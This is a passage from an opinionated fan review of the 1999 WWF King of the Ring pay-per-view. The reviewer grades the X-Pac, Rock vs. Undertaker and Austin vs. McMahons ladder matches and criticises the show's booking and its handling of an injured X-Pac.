Ok, so Billy Gunn is in the finals. We have his legendary tag partner in the other semi-final. Anyone else see what the given final should be? Oh just wait. It’s Russo, so you know he’s going to screw it up. In a funny bit, Road Dogg is in the back with Cole where he says he doesn’t want to do this but he will anyway. He grabs the mic from Cole and uses it for his intro. That’s awesome to me for some reason.

Pac is clearly missing a step here and it’s because of his neck. In other words, not only are they going to mess up the freaking lay up of a final, but they’re going to put X-Pac, who is legit hurt in there and have him risk even more of an injury. And it’s a three minute match that I missed most of because I was typing.

That can’t be a good sign. Pac reversed a pumphandle slam and hit the X-Factor. He holds his neck despite it not being worked on at all, which should have been clue number 8 or so, but perish the thought of Russo using logic or caring about his workers during a match.

Rating: N/A. There’s just not enough here to go on, at least not in a three minute match. Somehow, this is the only clean finish so far tonight.

We get a recap of Rock vs. Taker, set to techo music in the opening. I wish I was making this up. Rock won a triple threat with Taker and HHH to get this shot.

WWF Title: Rock vs. Undertaker

Well at least they’re getting this right by having the ladder match in the main event since it’s the real main event of the show. Taker is in the demon gimmick here and is just a few months away from leaving for about 8 months. The Corporate Ministry was beginning to crumble here and it was very clear. Two seconds into the match Taker punches the referee and Russomania lives!

Rock gets a Rock Bottom after about 10 seconds and another referee hits the ring for two as Bearer pulls the referee out and punches him. There’s a chokeslam at 50 seconds which gets two. We go up to the entrance because it’s the late 90s and it’s required by some sort of law I think. We hear that Rock is 27 for the second time in about 5 minutes. And we’re still on the floor like we have been for about 4 minutes now.

Hey we’re in the ring now! There’s a novel idea. After Taker dominates for a good while, Rock counters by crotching Taker on the top rope. And hey we’re back in the crowd now because we haven’t done that in all of two minutes. In a funny line, Lawler asks Ross if he’s scared. “Yeah I’m scared!”. That was funny for some reason. Ok, so Rock gets a chair and swings it but Taker gets the bell to block it and Rock gets hit in the face by his own chair.

We’re about 8 minutes in and at least 5 or 6 has been on the floor. Bearer gets in a shot with a shoe. That’s kind of a downgrade from the urn wouldn’t you say? Taker keeps the advantage and uses the powers of evil to put on a chinlock. OOO that’s just EVIL! There’s a group of fans in the front section that keep trying to get in the camera shot which is very annoying. This match is just boring.

There’s nothing here that’s making me care about it at all. And the referee goes down AGAIN. And hey, since nothing of interest has happened in this match, Taker knocks Rock down and Bearer pulls out a cloth and a bottle. As soon as it’s opened, Ross says he thinks it smells like ether. Rock gets the cloth on Taker’s face. HHH comes out and before he does anything at all Ross calls him a no good lousy SOB.

Yes, the challenger allegedly has ETHER on another man’s face and HHH is evil for walking. Ross makes my head throb at times. Taker adds a tombstone to end it to massive booing. He would lose the title in less than 24 hours.

Rating: D. This was just crap. It was beyond overbooked which just makes it awful. These two have zero chemistry together and never did at all. Taker was just not doing anything at all around this time and it was clear that he was just showing up to get a paycheck and then go home. This was just stupid and the booking of it didn’t do it any favors.

Ad for WWF.com which was a new thing back then.

The announcers say that HHH could be the replacement.

Send in your cable bill and get a free WWF CD case. Again, this is something that they should do today. It’s not much, but it’s a little thank you for ordering. I really don’t think they’ll miss a Cena arm band or something like that.

In the back we see a brawl where HHH is trying to get at Shawn and a ton of security and Vince are between them. HHH is thrown out by Shawn as Vince says that HHH was his partner. He gets on a phone and says to get back here now.

King of the Ring Finals: X-Pac vs. Billy Gunn

Again I am baffled by how this could be messed up. Gunn says he’s going for X-Pac’s neck. Oh how I hate Russo’s mindless booking. You can see clearly that Pac is messed up beyond belief. But hey, we have a pointless match since we can’t have the smart match right? Billy has the tag title still and no one gets it. Pac is clearly in agony. WOW I have never heard a crowd so quiet.

Gunn has somehow turned heel here I think, but according to Russo there’s no such thing as a face or a heel so there we go. The fans are just dead as three matches from anyone is just WAY too much for one night no matter what. I can’t believe I’m saying this but I feel bad for X-Pac. He clearly has no business at all to be in there but he’s doing it anyway as he doesn’t know how bad he’s hurt.

Pac keeps kicking out and hits an X-Factor that gets two. He hits a Bronco Buster that even I won’t make fun of here. Billy hits a Fameasser off the middle rope after a weak comeback to make himself King while X-Pac is heading to a hospital and some time off to heal. There’s no coronation either.

Rating: F. No. This was just completely ridiculous on every level. One guy was clearly hurt very badly and had no business being in the ring. I can’t blame Pac at all for getting in there as any athlete is always going to want to compete and very well could have been told go out there or go find another job.

The fact that they had him out there is completely inexcusable. Also, they missed the Outlaws exploding because they would rather have a match that makes ZERO sense because that’s Russo for you. This is a great example of why the guy is hated.

LONG recap of Vince vs. Austin which was about as over the top as anything in history. In case you don’t know it, Vince terrorized his own family and had his daughter kidnapped and almost married to a demon to get the title off of Austin. He acted all serious and upset but turned out to be the mastermind behind the whole thing, which was a great swerve.

Austin was then declared the new CEO and had 50% of the power. Stephanie is very young and pre-implants here so she looks great. HHH and her were just getting together here and you can’t see anything of it yet.

Vince McMahon/Shane McMahon vs. Steve Austin

Oh of course Shane is in it. This is a ladder match for control of the company, which is of course logical: the future of a billion dollar company and its ownership is being decided by a ladder match. Shane is announced as the replacement…for himself…making the whole thing earlier tonight about Shane being too hurt and a replacement being needed, you guessed it, COMPLETELY POINTLESS.

That should be Russo’s middle name: Vince Completely Pointless Russo. The problem with Shane being the partner is that it’s exactly what it was supposed to be in the first place, so the whole idea of having a replacement and the whole idea of having him not compete gets the crowd into it. Then that night it’s announced that it’s still him, which makes perfect sense. The partner is actually announced as Steve Blackman but GTV pops up to show that Shane is ok.

Shane and the Posse try to get out of the arena but Shawn stops him and says go to the ring. We’ll ignore the fact that Shane has 25% of the company and could just fire Shawn and appoint one of the Posse to his spot and let Blackman do his thing but whatever. Shawn brings Shane to the ring and says it’s the original match, again living up to Russo’s name.

The set is really cool as it’s a bunch of ladders holding up a canopy of ladders. It really is awesome looking. Austin’s music sets off a freaking eruption. I don’t care what anyone says: Hogan was never this hot, period. Austin would be gone for neck surgery in about six months, taking a year off to FINALLY get fixed after Owen hurt him. The Corporation is barred from ringside in case you’re wondering.

Lawler brings up the obvious point that Austin is going to dominate every one on one match here so the McMahons need to double team him. I know it’s basic, but that’s what an analyst is supposed to do. This has been all Austin to the shock of no one. Shane has a McMahon 6:32 jersey on which is kind of clever.

Shane hits a clothesline to finally change things a bit. We get a Home Improvement reference to really date the show a bit. We’re up at the entrance now and Shane climbs up into the display of ladders and Austin, ever the genius, follows him.

After knocking Shane back to the floor, he stops to throw up two fingers for the crowd. See what he did right there? He took about three seconds and got the crowd into it all over again. Any wrestling crowd will love nothing more than to be acknowledged. That is one of the few universal truths in wrestling. Look at guys like Rock, Austin, Hogan and Flair.

They’re four of the biggest names ever and every one of them gets the crowd involved in their promos and matches. Flair shouts at fans and says he’ll make women out of people’s mothers, Hogan does the hand to the ear, Austin flips them off, and Rock gets them chanting his name. They directly talk to the crowd rather than saying something about the crowd like mentioning a team, which isn’t directly at them.

See what I’m getting at here? The big stars are the ones that interact with the fans and it always works as it always will. Austin puts Vince through two of the ladders holding up the set which doesn’t fall, completely defying the laws of physics. In other words, the top of a ladder which is maybe two feet by six inches is holding up a ladder display that’s about 12 feet long.

They knock it out and the whole thing crashes down on Vince and Shane. That’s a great looking spot. Since they own the company though, they’re fine and catch Austin as he’s setting up the ladder. Who cares that they should be dead or severely injured? Austin goes airborne and puts Shane through the Spanish announce table which is one of the few classic bumps that will never die in my mind.

Vince knocks Austin onto the English table which doesn’t break at all. That has to be some kind of a joke. King’s microphone is broken. Ah he’s back. Austin now has a bad leg and stops Vince with a low blow. Austin is just beating the tar out of them now. Shane starts tapping out which is funny to me for some reason, which apparently means it’s good that he’s wearing black pants as Ross continues to just be freaking stupid.

Vince stops Austin from getting the case and the heat is great. The ladder is broken so they try to boost Shane up. Of course it doesn’t work and Austin is up. The look on his face more or less says boy are you crazy? Both guys get stunned. Ross says it’s in the book and you can see it coming.

Austin goes up and the briefcase goes up higher. This was another thing that went absolutely nowhere as the person that controlled it was never revealed. Vince gets his hands on it as Austin goes after everyone. Shane shoves both guys down and Shane goes up for the briefcase.

Austin, knowing he might get screwed, would announced tomorrow night that while still CEO he had booked a title shot the next night on Raw against Taker, which is still to this day the highest rated wrestling match in cable history, drawing an insane quarter hour of something like an 8.4.

An ad for Fully Loaded ends the show.

Rating: C-. It’s ok, but that’s all. The screwjob ending was about as much of a given as you could ask for, yet somehow this might have been the best match all night since the tag match got less than five minutes. This was just a way to make you watch Raw the next night, which is what it’s designed to do I guess.

They really should have had HHH in there acting for Vince and had the McMahons interfere instead so that the match would have been more solid. This just wasn’t that interesting as it was about 80% Austin which is exactly what was expected.

Rating: F. There is not one appealing thing about this show. The tournament is one of the worst in history, the crowd popped maybe twice, the matches are bad as there are two, count them two, clean finishes out of ten, and nothing of note happens here, since the whole Austin’s life is a living nightmare lasted a freaking day as he won the title back the next night on Raw.

This was just a freaking waste of three hours and it was somehow worse than I remember it being. Don’t watch anything here unless you’re being subjected to torture, as I think this is now the preferred method of death in 8 countries.

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